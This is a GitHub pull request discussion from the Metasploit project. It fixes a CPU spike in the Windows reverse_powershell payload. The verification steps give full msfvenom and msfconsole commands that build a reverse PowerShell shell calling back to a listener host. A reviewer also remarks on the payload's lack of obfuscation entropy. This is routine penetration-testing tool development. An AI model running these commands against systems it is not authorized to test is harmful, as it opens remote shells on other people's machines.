Fix psh template to avoid 100% cpu spike on CTRL+C

[OJ]

As mentioned in #7293, using the reverse_powershell and exiting the shell without typing exit (eg, by pressing CTR+C and terminating the shell, or killing it via sessions -[K|k]) would result in the Powershell process burning the CPU to 100%.

This PR includes a tweak to the Powershell payload that makes this problem go away.

Verification

• Create a payload: $ msfvenom -p cmd/windows/reverse_powershell LHOST=172.16.255.1 LPORT=8000 -f raw -o ~/scratch/met/ps-cmd.bat
• Create a matching listener: $ msfconsole -q -x 'use exploit/multi/handler; set payload cmd/windows/reverse_powershell; set LHOST 172.16.255.1; set LPORT 8000; set ExitOnSession false; run -j'
• Run the payload bat file on a Windows target that has powershell installed.
• Confirm a working session appears.
• Interact with the session, run commands, then type exit.
• Verify that the Powershell process terminates completely.
• Run the payload bat file again.
• Confirm a working session appears.
• Run sessions -K to kill the session without interacting with it (or interact and press CTRL+C and terminate)
• Verify that the Powershell process terminates completely.

Fixes #7293.

[bwatters-r7]

@OJ did you rerun the cached value size script for payloads?

[OJ]

This is a great question that highlights how stupid I am! :) Thanks @bwatters-r7, doing it now.

[sempervictus]

I havent looked too deeply into these command payloads, but i just realized this is raw PSH with none of the entropy generating permutations Rex::Powershell provides. Are these payloads widely used? If so, is here any interest in converting them to Rex::Powershell::Script objects in generation, and for the execution call via the PSH commandline pieces?

[OJ]

I don't think they're used that often. If the lack of entropy becomes and issue we can throw in a bunch of updates.

Thanks for reviewing @sempervictus.

[bwatters-r7]

Release Notes

This fix addresses a bug in the powershell payload where it spiked a core on the remote CPU after termination through standard 'ctrl-c'